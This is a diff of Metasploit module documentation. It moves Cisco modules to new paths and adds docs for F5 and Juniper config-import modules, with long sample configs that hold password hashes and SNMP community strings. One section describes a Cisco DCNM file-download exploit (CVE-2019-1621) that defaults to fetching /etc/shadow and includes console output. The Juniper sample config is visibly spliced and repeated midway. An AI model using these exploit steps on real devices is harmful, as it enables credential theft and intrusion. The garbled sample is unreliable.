@@ -34,12 +37,12 @@ root@metasploit-dev:~/metasploit-framework# wget https://raw.githubusercontent.c
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/cisco/cisco_config
msf5 auxiliary(admin/cisco/cisco_config) > set config /tmp/LA_EDGE_D.txt
msf5 > use auxiliary/admin/networking/cisco_config
msf5 auxiliary(admin/networking/cisco_config) > set config /tmp/LA_EDGE_D.txt
config => /tmp/LA_EDGE_D.txt
msf5 auxiliary(admin/cisco/cisco_config) > set rhost 127.0.0.1
msf5 auxiliary(admin/networking/cisco_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/cisco/cisco_config) > run
msf5 auxiliary(admin/networking/cisco_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
@@ -1,6 +1,6 @@
## Vulnerable Application
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
Cisco Data Center Network Manager exposes a servlet to download files on `/fm/downloadServlet`.
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
the full path of the file (aka CVE-2019-1621).
@@ -8,16 +8,24 @@ This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
## Verification Steps
1. Do: ```use auxiliary/admin/networking/cisco_dcnm_download```
2. Do: ```set rhosts [ip]```
3. Do: ```run```
## Options
## Scenarios
Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
```
msf5 exploit(multi/http/cisco_dcnm_upload_2019) > use auxiliary/admin/cisco/cisco_dcnm_download
msf5 exploit > use auxiliary/admin/networking/cisco_dcnm_download
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > set rhost 10.75.1.40
msf5 auxiliary(admin/networking/cisco_dcnm_download) > set rhost 10.75.1.40
rhost => 10.75.1.40
msf5 auxiliary(admin/cisco/cisco_dcnm_download) > run
msf5 auxiliary(admin/networking/cisco_dcnm_download) > run
[+] 10.75.1.40:443 - Detected DCNM 10.4(2)
[*] 10.75.1.40:443 - No authentication required, ready to exploit!
@@ -0,0 +1,525 @@
## Vulnerable Application
### General Notes
This module imports an F5 configuration file into the database.
This is similar to `post/networking/gather/enum_f5` only access isn't required,
and assumes you already have the file.
### Example Config
```
#TMSH-VERSION: 15.1.0.2
cm cert /Common/dtca-bundle.crt {
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtca-bundle.crt_62970_3
checksum SHA1:1310:d1e052507e0ec1a274848374ff904ae8548d7dd2
revision 3
}
cm cert /Common/dtca.crt {
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtca.crt_62966_3
checksum SHA1:1310:d1e052507e0ec1a274848374ff904ae8548d7dd2
revision 3
}
cm cert /Common/dtdi.crt {
cache-path /config/filestore/files_d/Common_d/trust_certificate_d/:Common:dtdi.crt_62962_3
checksum SHA1:1285:0f4ddae3808474c70911f43725c7cfdb46aa4430
revision 3
}
cm device /Common/f5bigip.home.com {
active-modules { "BIG-IP, VE Trial|VTFLRXF-LFSIQYY|Rate Shaping|External Interface and Network HSM, VE|SDN Services, VE|SSL, Forward Proxy, VE|BIG-IP VE, Multicast Routing|APM, Limited|SSL, VE|DNS (1K QPS), VE|Routing Bundle, VE|ASM, VE|Crytpo Offload, VE, Tier 1 (25M - 200M)|Max Compression, VE|AFM, VE|DNSSEC|Anti-Virus Checks|Base Endpoint Security Checks|Firewall Checks|Network Access|Secure Virtual Keyboard|APM, Web Application|Machine Certificate Checks|Protected Workspace|Remote Desktop|App Tunnel|VE, Carrier Grade NAT (AFM ONLY)|PSM, VE" }
base-mac aa:aa:aa:aa:aa:aa
build 0.0.9
cert /Common/dtdi.crt
chassis-id 564dcf79-53ce-3494-3217671849c7
configsync-ip 10.10.10.222
edition "Point Release 2"
hostname f5bigip.home.com
key /Common/dtdi.key
management-ip 2.2.2.2
marketing-name "BIG-IP Virtual Edition"
platform-id Z100
product BIG-IP
self-device true
time-zone America/Los_Angeles
version 15.1.0.2
}
cm device-group /Common/device_trust_group {
auto-sync enabled
devices {
/Common/f5bigip.home.com { }
}
hidden true
network-failover disabled
}
cm device-group /Common/gtm {
devices {
/Common/f5bigip.home.com { }
}
hidden true
network-failover disabled
}
cm key /Common/dtca.key {
cache-path /config/filestore/files_d/Common_d/trust_certificate_key_d/:Common:dtca.key_62968_3
checksum SHA1:1704:f274958ad619b0c70d8ccc4f7c5ae199061464e6
revision 3
}
cm key /Common/dtdi.key {
cache-path /config/filestore/files_d/Common_d/trust_certificate_key_d/:Common:dtdi.key_62964_3
checksum SHA1:1704:97eeb5aedee76b3c21e6d735604a092e830ef6c2
revision 3
}
cm traffic-group /Common/traffic-group-1 {
unit-id 1
}
cm traffic-group /Common/traffic-group-local-only { }
cm trust-domain /Common/Root {
ca-cert /Common/dtca.crt
ca-cert-bundle /Common/dtca-bundle.crt
ca-devices { /Common/f5bigip.home.com }
ca-key /Common/dtca.key
guid fe0ee274-0355-4940-acc7000c291849c7
status standalone
trust-group /Common/device_trust_group
}
net interface 1.1 {
media-fixed 10000T-FD
}
net interface 1.2 {
media-fixed 10000T-FD
}
net interface 1.3 {
media-fixed 10000T-FD
}
net port-list /Common/_sys_self_allow_tcp_defaults {
ports {
22 { }
53 { }
161 { }
443 { }
1029-1043 { }
4353 { }
}
}
net port-list /Common/_sys_self_allow_udp_defaults {
ports {
53 { }
161 { }
520 { }
1026 { }
4353 { }
}
}
net route-domain /Common/0 {
id 0
vlans {
/Common/http-tunnel
/Common/socks-tunnel
/Common/internal
}
}
net self /Common/10.10.10.223 {
address 10.10.10.223/8
allow-service {
default
}
traffic-group /Common/traffic-group-1
vlan /Common/internal
}
net self /Common/10.10.10.222 {
address 10.10.10.222/8
allow-service {
default
}
traffic-group /Common/traffic-group-local-only
vlan /Common/internal
}
net self-allow {
defaults {
igmp:0
ospf:0
pim:0
tcp:161
tcp:22
tcp:4353
tcp:443
tcp:53
udp:1026
udp:161
udp:4353
udp:520
udp:53
}
}
net stp /Common/cist { }
net vlan /Common/internal {
tag 4094
}
net fdb tunnel /Common/http-tunnel { }
net fdb tunnel /Common/socks-tunnel { }
net fdb vlan /Common/internal { }
net tunnels tunnel /Common/http-tunnel {
description "Tunnel for http-explicit profile"
profile /Common/tcp-forward
}
net tunnels tunnel /Common/socks-tunnel {
description "Tunnel for socks profile"
profile /Common/tcp-forward
}
security device-id attribute /Common/att01 {
id 1
}
security device-id attribute /Common/att02 {
id 2
}
security device-id attribute /Common/att03 {
id 3
}
security device-id attribute /Common/att04 {
id 4
}
security device-id attribute /Common/att05 {
id 5
}
security device-id attribute /Common/att06 {
id 6
}
security device-id attribute /Common/att07 {
id 7
}
security device-id attribute /Common/att08 {
id 8
}
security device-id attribute /Common/att09 {
id 9
}
security device-id attribute /Common/att10 {
id 10
}
security device-id attribute /Common/att11 {
id 11
}
security device-id attribute /Common/att12 {
id 12
}
security device-id attribute /Common/att13 {
id 13
}
security device-id attribute /Common/att14 {
id 14
}
security device-id attribute /Common/att15 {
id 15
}
security device-id attribute /Common/att16 {
id 16
}
security device-id attribute /Common/att17 {
id 17
}
security device-id attribute /Common/att18 {
id 18
}
security device-id attribute /Common/att19 {
id 19
}
security device-id attribute /Common/att20 {
id 20
}
security device-id attribute /Common/att21 {
id 21
}
security device-id attribute /Common/att22 {
id 22
}
security device-id attribute /Common/att23 {
id 23
}
security device-id attribute /Common/att24 {
id 24
}
security device-id attribute /Common/att25 {
id 25
}
security device-id attribute /Common/att26 {
id 26
}
security device-id attribute /Common/att27 {
id 27
}
security device-id attribute /Common/att28 {
id 28
}
security device-id attribute /Common/att29 {
id 29
}
security device-id attribute /Common/att30 {
id 30
}
security device-id attribute /Common/att31 {
id 31
}
security device-id attribute /Common/att32 {
id 32
}
security device-id attribute /Common/att33 {
id 33
}
security device-id attribute /Common/att34 {
id 34
}
security device-id attribute /Common/att35 {
id 35
}
security device-id attribute /Common/att36 {
id 36
}
security device-id attribute /Common/att37 {
id 37
}
security device-id attribute /Common/att38 {
id 38
}
security device-id attribute /Common/att39 {
id 39
}
security firewall config-entity-id /Common/uuid_entity_id {
entity-id 3346813779321352940
}
security firewall port-list /Common/_sys_self_allow_tcp_defaults {
ports {
22 { }
53 { }
161 { }
443 { }
1029-1043 { }
4353 { }
}
}
security firewall port-list /Common/_sys_self_allow_udp_defaults {
ports {
53 { }
161 { }
520 { }
1026 { }
4353 { }
}
}
security firewall rule-list /Common/_sys_self_allow_all {
rules {
_sys_allow_all {
action accept
ip-protocol any
}
}
}
security firewall rule-list /Common/_sys_self_allow_defaults {
rules {
_sys_allow_tcp_defaults {
action accept
ip-protocol tcp
destination {
port-lists {
/Common/_sys_self_allow_tcp_defaults
}
}
}
_sys_allow_udp_defaults {
action accept
ip-protocol udp
destination {
port-lists {
/Common/_sys_self_allow_udp_defaults
}
}
}
_sys_allow_ospf_defaults {
action accept
ip-protocol ospf
}
_sys_allow_pim_defaults {
action accept
ip-protocol pim
}
_sys_allow_igmp_defaults {
action accept
ip-protocol igmp
}
}
}
security firewall rule-list /Common/_sys_self_allow_management {
rules {
_sys_allow_ssh {
action accept
ip-protocol tcp
destination {
ports {
22 { }
}
}
}
_sys_allow_web {
action accept
ip-protocol tcp
destination {
ports {
443 { }
}
}
}
}
}
security ip-intelligence policy /Common/ip-intelligence { }
security shared-objects port-list /Common/_sys_self_allow_tcp_defaults {
ports {
22 { }
53 { }
161 { }
443 { }
1029-1043 { }
4353 { }
}
}
security shared-objects port-list /Common/_sys_self_allow_udp_defaults {
ports {
53 { }
161 { }
520 { }
1026 { }
4353 { }
}
}
sys dns {
description configured-by-dhcp
name-servers { 192.168.2.40 9.9.9.9 }
search { ragedomain }
}
sys folder / {
device-group none
hidden false
inherited-devicegroup false
inherited-traffic-group false
traffic-group /Common/traffic-group-1
}
sys folder /Common {
device-group none
hidden false
inherited-devicegroup true
inherited-traffic-group true
traffic-group /Common/traffic-group-1
}
sys folder /Common/Drafts {
device-group none
hidden false
inherited-devicegroup true
inherited-traffic-group true
traffic-group /Common/traffic-group-1
}
sys global-settings {
hostname f5bigip.home.com
}
sys management-dhcp /Common/sys-mgmt-dhcp-config {
request-options { subnet-mask broadcast-address routers domain-name domain-name-servers host-name ntp-servers interface-mtu }
}
sys provision ltm {
level nominal
}
sys snmp {
agent-addresses { tcp6:161 udp6:161 }
communities {
/Common/comm-public {
community-name public
source default
}
}
disk-monitors {
/Common/root {
minspace 2000
path /
}
/Common/var {
minspace 10000
path /var
}
}
process-monitors {
/Common/bigd {
max-processes infinity
process bigd
}
/Common/chmand {
process chmand
}
/Common/httpd {
max-processes infinity
process httpd
}
/Common/mcpd {
process mcpd
}
/Common/sod {
process sod
}
/Common/tmm {
max-processes infinity
process tmm
}
}
}
sys dynad settings {
development-mode false
}
sys fpga firmware-config {
type standard-balanced-fpga
}
sys sflow global-settings http { }
sys sflow global-settings vlan { }
sys turboflex profile-config {
type turboflex-adc
}
```
## Verification Steps
1. Have an F5 configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/networking/f5_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `run`
## Options
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
### CONFIG
File path to the configuration file.
## Scenarios
### F5 Big-IP 15.1.0.2 (virtual on ESXi)
```
resource (f5.rb)> use auxiliary/admin/networking/f5_config
resource (f5.rb)> set config /home/h00die/Downloads/f5_config.txt
config => /home/h00die/Downloads/f5_config.txt
resource (f5.rb)> set rhosts 127.0.0.1
rhosts => 127.0.0.1
resource (f5.rb)> set verbose true
verbose => true
resource (f5.rb)> run
[*] Running module against 127.0.0.1
[*] Importing config
[+] 127.0.0.1:22 SNMP Community 'public' with RO access
[+] 127.0.0.1:22 Hostname: f5bigip.home.com
[+] 127.0.0.1:22 MAC Address: aa:aa:aa:aa:aa:aa
[+] 127.0.0.1:22 Management IP: 2.2.2.2
[+] 127.0.0.1:22 Product BIG-IP
[+] 127.0.0.1:22 OS Version: 15.1.0.2
[+] Config import successful
[*] Auxiliary module execution completed
```
@@ -0,0 +1,1087 @@
## Vulnerable Application
### General Notes
This module imports a Juniper configuration file into the database.
This is similar to `post/networking/gather/enum_juniper` only access isn't required,
and assumes you already have the file.
### Example Configs
#### JunOS
[JunOS](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config)
```
## Last commit: 2016-08-15 13:35:48 UTC by root
version 12.3R7.7;
system {
host-name h00dieJuniperEx2200;
root-authentication {
encrypted-password "$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E."; ## SECRET-DATA
}
login {
user newuser {
uid 2000;
class super-user;
authentication {
encrypted-password "$1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/"; ## SECRET-DATA
}
}
user newuser2 {
uid 2002;
class operator;
authentication {
encrypted-password "$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0"; ## SECRET-DATA
}
}
user newuser3 {
uid 2003;
class read-only;
authentication {
encrypted-password "$1$1.YvKzUY$dcAj99KngGhFZTpxGjA93."; ## SECRET-DATA
}
}
user newuser4 {
uid 2004;
class unauthorized;
authentication {
encrypted-password "$1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/"; ## SECRET-DATA
}
}
}
services {
ssh {
root-login allow;
}
web-management {
http;
}
dhcp {
traceoptions {
file dhcp_logfile;
level all;
flag all;
}
pool 192.168.10.0/24 {
address-range low 192.168.10.2 high 192.168.10.254;
}
}
}
syslog {
user * {
any emergency;
}
file messages {
any notice;
authorization info;
}
file interactive-commands {
interactive-commands any;
}
}
}
chassis {
alarm {
management-ethernet {
link-down ignore;
}
}
auto-image-upgrade;
}
interfaces {
ge-0/0/0 {
unit 0 {
family inet {
address 192.168.1.3/32;
}
}
}
ge-0/0/1 {
unit 0 {
family inet {
address 192.168.1.4/32;
}
}
}
ge-0/0/2 {
unit 0 {
family inet {
address 192.168.1.5/24;
}
}
}
ge-0/0/3 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/4 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/5 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/6 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/7 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/8 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/9 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/10 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/11 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/12 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/13 {
unit 0 {
## Last commit: 2016-08-15 13:35:48 UTC by root
version 12.3R7.7;
system {
host-name h00dieJuniperEx2200;
root-authentication {
encrypted-password "$1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E."; ## SECRET-DATA
}
login {
user newuser {
uid 2000;
class super-user;
authentication {
encrypted-password "$1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/"; ## SECRET-DATA
}
}
user newuser2 {
uid 2002;
class operator;
authentication {
encrypted-password "$1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0"; ## SECRET-DATA
}
}
user newuser3 {
uid 2003;
class read-only;
authentication {
encrypted-password "$1$1.YvKzUY$dcAj99KngGhFZTpxGjA93."; ## SECRET-DATA
}
}
user newuser4 {
uid 2004;
class unauthorized;
authentication {
encrypted-password "$1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/"; ## SECRET-DATA
}
}
}
services {
ssh {
root-login allow;
}
web-management {
http;
}
dhcp {
traceoptions {
file dhcp_logfile;
level all;
flag all;
}
pool 192.168.10.0/24 {
address-range low 192.168.10.2 high 192.168.10.254;
}
}
}
syslog {
user * {
any emergency;
}
file messages {
any notice;
authorization info;
}
file interactive-commands {
interactive-commands any;
}
}
}
chassis {
alarm {
management-ethernet {
link-down ignore;
}
}
auto-image-upgrade;
}
interfaces {
ge-0/0/0 {
unit 0 {
family inet {
address 192.168.1.3/32;
}
}
}
ge-0/0/1 {
unit 0 {
family inet {
address 192.168.1.4/32;
}
}
}
ge-0/0/2 {
unit 0 {
family inet {
address 192.168.1.5/24;
}
}
}
ge-0/0/3 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/4 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/5 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/6 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/7 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/8 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/9 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/10 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/11 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/12 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/13 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/14 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/15 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/16 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/17 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/18 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/19 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/20 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/21 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/22 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/23 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/24 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/25 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/26 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/27 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/28 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/29 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/30 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/31 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/32 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/33 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/34 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/35 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/36 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/37 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/38 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/39 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/40 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/41 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/42 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/43 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/44 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/45 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/46 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/47 {
unit 0 {
family ethernet-switching;
}
}
ge-0/1/0 {
unit 0 {
family ethernet-switching;
}
}
ge-0/1/1 {
unit 0 {
family ethernet-switching;
}
}
ge-0/1/2 {
unit 0 {
family ethernet-switching;
}
}
ge-0/1/3 {
unit 0 {
family ethernet-switching;
}
}
me0 {
unit 0 {
family inet {
address 192.168.1.1/24;
}
}
}
pp0 {
unit 0 {
ppp-options {
pap {
local-name "'pap_username'";
local-password "$9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR"; ## SECRET-DATA
}
}
}
}
st0 {
unit 1;
}
vlan {
unit 0 {
family inet {
dhcp {
vendor-id Juniper-ex2200-48t-4g;
}
}
}
}
}
snmp {
name "snmp name";
description "snmp description";
location basement;
contact admin;
view jweb-view-all {
oid .1 include;
}
community read {
authorization read-only;
}
community write {
view jweb-view-all;
authorization read-write;
}
community public {
authorization read-only;
}
community private {
authorization read-write;
}
community secretsauce {
authorization read-write;
}
community "hello there" {
authorization read-write;
}
}
routing-options {
static {
route 0.0.0.0/0 next-hop 192.168.1.254;
}
}
protocols {
igmp-snooping {
vlan all;
}
rstp;
lldp {
interface all;
}
lldp-med {
interface all;
}
}
access {
radius-server {
1.1.1.1 secret "$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV"; ## SECRET-DATA
}
}
ethernet-switching-options {
storm-control {
interface all;
}
}
vlans {
default {
l3-interface vlan.0;
}
} family ethernet-switching;
}
}
ge-0/0/14 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/15 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/16 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/17 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/18 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/19 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/20 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/21 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/22 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/23 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/24 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/25 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/26 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/27 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/28 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/29 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/30 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/31 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/32 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/33 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/34 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/35 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/36 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/37 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/38 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/39 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/40 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/41 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/42 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/43 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/44 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/45 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/46 {
unit 0 {
family ethernet-switching;
}
}
ge-0/0/47 {
unit 0 {
family ethernet-switching;
}
}
ge-0/1/0 {
unit 0 {
family ethernet-switching;
}
}
ge-0/1/1 {
unit 0 {
family ethernet-switching;
}
}
ge-0/1/2 {
unit 0 {
family ethernet-switching;
}
}
ge-0/1/3 {
unit 0 {
family ethernet-switching;
}
}
me0 {
unit 0 {
family inet {
address 192.168.1.1/24;
}
}
}
pp0 {
unit 0 {
ppp-options {
pap {
local-name "'pap_username'";
local-password "$9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR"; ## SECRET-DATA
}
}
}
}
st0 {
unit 1;
}
vlan {
unit 0 {
family inet {
dhcp {
vendor-id Juniper-ex2200-48t-4g;
}
}
}
}
}
snmp {
name "snmp name";
description "snmp description";
location basement;
contact admin;
view jweb-view-all {
oid .1 include;
}
community read {
authorization read-only;
}
community write {
view jweb-view-all;
authorization read-write;
}
community public {
authorization read-only;
}
community private {
authorization read-write;
}
community secretsauce {
authorization read-write;
}
community "hello there" {
authorization read-write;
}
}
routing-options {
static {
route 0.0.0.0/0 next-hop 192.168.1.254;
}
}
protocols {
igmp-snooping {
vlan all;
}
rstp;
lldp {
interface all;
}
lldp-med {
interface all;
}
}
access {
radius-server {
1.1.1.1 secret "$9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV"; ## SECRET-DATA
}
}
ethernet-switching-options {
storm-control {
interface all;
}
}
vlans {
default {
l3-interface vlan.0;
}
}
```
#### ScreenOS
[screenos](https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ssg5_screenos.conf)
```
unset key protection enable
set clock timezone 0
set vrouter trust-vr sharable
set vrouter "untrust-vr"
exit
set vrouter "trust-vr"
unset auto-route-export
exit
set alg appleichat enable
unset alg appleichat re-assembly enable
set alg sctp enable
set auth-server "Local" id 0
set auth-server "Local" server-name "Local"
set auth default auth server "Local"
set auth radius accounting port 1646
set admin name "netscreen"
set admin password "nKVUM2rwMUzPcrkG5sWIHdCtqkAibn"
set admin auth web timeout 10
set admin auth dial-in timeout 3
set admin auth server "Local"
set admin format dos
set zone "Trust" vrouter "trust-vr"
set zone "Untrust" vrouter "trust-vr"
set zone "DMZ" vrouter "trust-vr"
set zone "VLAN" vrouter "trust-vr"
set zone "Untrust-Tun" vrouter "trust-vr"
set zone "Trust" tcp-rst
set zone "Untrust" block
unset zone "Untrust" tcp-rst
set zone "MGT" block
unset zone "V1-Trust" tcp-rst
unset zone "V1-Untrust" tcp-rst
set zone "DMZ" tcp-rst
unset zone "V1-DMZ" tcp-rst
unset zone "VLAN" tcp-rst
set zone "Untrust" screen tear-drop
set zone "Untrust" screen syn-flood
set zone "Untrust" screen ping-death
set zone "Untrust" screen ip-filter-src
set zone "Untrust" screen land
set zone "V1-Untrust" screen tear-drop
set zone "V1-Untrust" screen syn-flood
set zone "V1-Untrust" screen ping-death
set zone "V1-Untrust" screen ip-filter-src
set zone "V1-Untrust" screen land
set interface "ethernet0/0" zone "Untrust"
set interface "ethernet0/1" zone "DMZ"
set interface "bgroup0" zone "Trust"
set interface bgroup0 port ethernet0/2
set interface bgroup0 port ethernet0/3
set interface bgroup0 port ethernet0/4
set interface bgroup0 port ethernet0/5
set interface bgroup0 port ethernet0/6
unset interface vlan1 ip
set interface bgroup0 ip 192.168.1.1/24
set interface bgroup0 nat
unset interface vlan1 bypass-others-ipsec
unset interface vlan1 bypass-non-ip
set interface bgroup0 ip manageable
set interface ethernet0/0 dhcp client enable
set interface ethernet0/0 dhcp client settings autoconfig
set interface "serial0/0" modem settings "USR" init "AT&F"
set interface "serial0/0" modem settings "USR" active
set interface "serial0/0" modem speed 115200
set interface "serial0/0" modem retry 3
set interface "serial0/0" modem interval 10
set interface "serial0/0" modem idle-time 10
set ip tftp retry 30
set ip tftp timeout 30
set flow tcp-mss
unset flow no-tcp-seq-check
set flow tcp-syn-check
unset flow tcp-syn-bit-check
set flow reverse-route clear-text prefer
set flow reverse-route tunnel always
set pki authority default scep mode "auto"
set pki x509 default cert-path partial
set user "testuser" uid 1
set user "testuser" type auth
set user "testuser" hash-password "02b0jt2gZGipCiIEgl4eainqZIKzjSNQYLIwE="
set user "testuser" enable
set crypto-policy
exit
set ike respond-bad-spi 1
set ike ikev2 ike-sa-soft-lifetime 60
unset ike ikeid-enumeration
unset ike dos-protection
unset ipsec access-session enable
set ipsec access-session maximum 5000
set ipsec access-session upper-threshold 0
set ipsec access-session lower-threshold 0
set ipsec access-session dead-p2-sa-timeout 0
unset ipsec access-session log-error
unset ipsec access-session info-exch-connected
unset ipsec access-session use-error-log
set url protocol websense
exit
set policy id 1 from "Trust" to "Untrust" "Any" "Any" "ANY" permit
set policy id 1
exit
set nsmgmt bulkcli reboot-timeout 60
set ssh version v2
set config lock timeout 5
unset license-key auto-update
set telnet client enable
set snmp port listen 161
set snmp port trap 162
set snmpv3 local-engine id "0162122013002408"
set vrouter "untrust-vr"
exit
set vrouter "trust-vr"
unset add-default-route
exit
set vrouter "untrust-vr"
exit
set vrouter "trust-vr"
exit
```
## Verification Steps
1. Have a Juniper configuration file
2. Start `msfconsole`
3. `use auxiliary/admin/networking/juniper_config`
4. `set RHOST x.x.x.x`
5. `set CONFIG /tmp/file.config`
6. `set action junos`
7. `run`
## Options
### RHOST
Needed for setting services and items to. This is relatively arbitrary.
### CONFIG
File path to the configuration file.
### Action
`JUNOS` for JunOS config file, and `SCREENOS` for ScreenOS config file.
## Scenarios
### JunOS
```
root@metasploit-dev:~/metasploit-framework# wget -o /dev/null -O /tmp/juniper_ex2200.config https://raw.githubusercontent.com/h00die/MSF-Testing-Scripts/master/juniper_ex2200.config
root@metasploit-dev:~/metasploit-framework# ./msfconsole
[*] Starting persistent handler(s)...
msf5 > use auxiliary/admin/networking/gather/juniper_config
msf5 auxiliary(admin/networking/gather/juniper_config) > set config /tmp/juniper_ex2200.config
config => /tmp/juniper_ex2200.config
msf5 auxiliary(admin/networking/gather/juniper_config) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 auxiliary(admin/networking/gather/juniper_config) > run
[*] Running module against 127.0.0.1
[*] Importing config
[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E.
[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/.
[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0.
[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93..
[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/.
[+] SNMP community read with permissions read-only
[+] SNMP community public with permissions read-only
[+] SNMP community private with permissions read-write
[+] SNMP community secretsauce with permissions read-write
[+] SNMP community hello there with permissions read-write
[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV
